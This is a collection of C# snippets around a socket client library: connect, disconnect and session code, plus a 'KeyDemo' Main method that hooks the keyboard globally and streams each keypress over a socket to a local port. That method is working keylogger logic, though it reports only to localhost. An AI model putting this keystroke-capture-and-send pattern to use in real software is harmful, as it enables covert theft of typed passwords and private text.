/// <summary> /// Tries to connect to the server and activates the container. /// </summary> public void Start() { try { _clientGuid = Guid.NewGuid(); _client = new BasicSocketClient(); _client.ReceiveMessageEvent += new ReceiveMessageDelegate(client_ReceiveMessageEvent); _client.ConnectionEvent += new SocketConnectionDelegate(client_ConnectionEvent); _client.CloseConnectionEvent += new SocketConnectionDelegate(client_CloseConnectionEvent); if (_name.Contains(" ")) { RaiseNewTextEvent("Do not use space in container name!\r\n"); return; } IPEndPoint ipEndPoint = new IPEndPoint(IPAddress.Parse(_serverIP), _serverPort); RaiseNewTextEvent("Container connecting to server..."); _client.Connect(ipEndPoint); } catch (Exception ex) { RaiseNewTextEvent("Exception: " + ex.Message + "."); } }
public ClientSession(string hostIP, int hostPort, string userId) { _HostIP = hostIP; _HostPort = hostPort; _ID = userId; _Guid = Guid.NewGuid(); _Client = new BasicSocketClient(); }
/// <summary> /// Disconnects from the server and deactivates the container. /// </summary> public void Stop() { if (_client != null) { _client.Close(); _client.Dispose(); _client = null; } }
private void buttonDisconnect_Click(object sender, EventArgs e) { this.client.Close(); this.client.Dispose(); this.client = null; this.buttonConnect.Enabled = true; this.buttonDisconnect.Enabled = false; this.buttonSend.Enabled = false; this.buttonSendLog.Enabled = false; this.buttonSendLong2.Enabled = false; }
static void Main() { ILogger logger = LogManager.GetLogger("KeyDemo"); AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException; Application.ThreadException += new System.Threading.ThreadExceptionEventHandler(Application_ThreadException); Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException); BasicSocketClient client = null; Guid clientGuid = Guid.Empty; try { clientGuid = Guid.NewGuid(); client = new BasicSocketClient(); client.ReceiveMessageEvent += (handler, message) => { BasicMessage receivedMessage = (BasicMessage)message; byte[] buffer = receivedMessage.GetBuffer(); string s = System.Text.ASCIIEncoding.Unicode.GetString(buffer); logger.Debug(s); }; client.ConnectionEvent += (handler) => { Thread.Sleep(TimeSpan.FromSeconds(20)); logger.Debug("Client connected to remote server"); }; client.CloseConnectionEvent += (handler) => { logger.Debug("Client disconnected from remote server"); }; client.Connect(new IPEndPoint(IPAddress.Loopback, 8100)); var m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = true; m_KeyboardHookManager.KeyPress += (sender, e) => { //NamedPipe.Sender.SendMessage(new List<string>() { e.KeyChar.ToString() }); string s = e.KeyChar.ToString(); byte[] buffer = System.Text.ASCIIEncoding.Unicode.GetBytes(s); BasicMessage message = new BasicMessage(clientGuid, buffer); client.SendAsync(message); logger.Debug(string.Format("KeyDown \t\t {0}\n", e.KeyChar)); }; Application.Run(); } catch (Exception) { throw; } }
private void buttonConnect_Click(object sender, EventArgs e) { try { this.clientGuid = Guid.NewGuid(); this.client = new BasicSocketClient(); this.client.ReceiveMessageEvent += new SocketServerLib.SocketHandler.ReceiveMessageDelegate(client_ReceiveMessageEvent); this.client.ConnectionEvent += new SocketServerLib.SocketHandler.SocketConnectionDelegate(client_ConnectionEvent); this.client.CloseConnectionEvent += new SocketServerLib.SocketHandler.SocketConnectionDelegate(client_CloseConnectionEvent); this.client.Connect(new IPEndPoint(IPAddress.Loopback, 8100)); this.buttonConnect.Enabled = false; this.buttonDisconnect.Enabled = true; this.buttonSend.Enabled = true; this.buttonSendLog.Enabled = true; this.buttonSendLong2.Enabled = true; } catch (Exception ex) { MessageBox.Show(string.Format("Client failed to connect remote server.\n{0}", ex.Message), "Socket Client", MessageBoxButtons.OK, MessageBoxIcon.Error); } }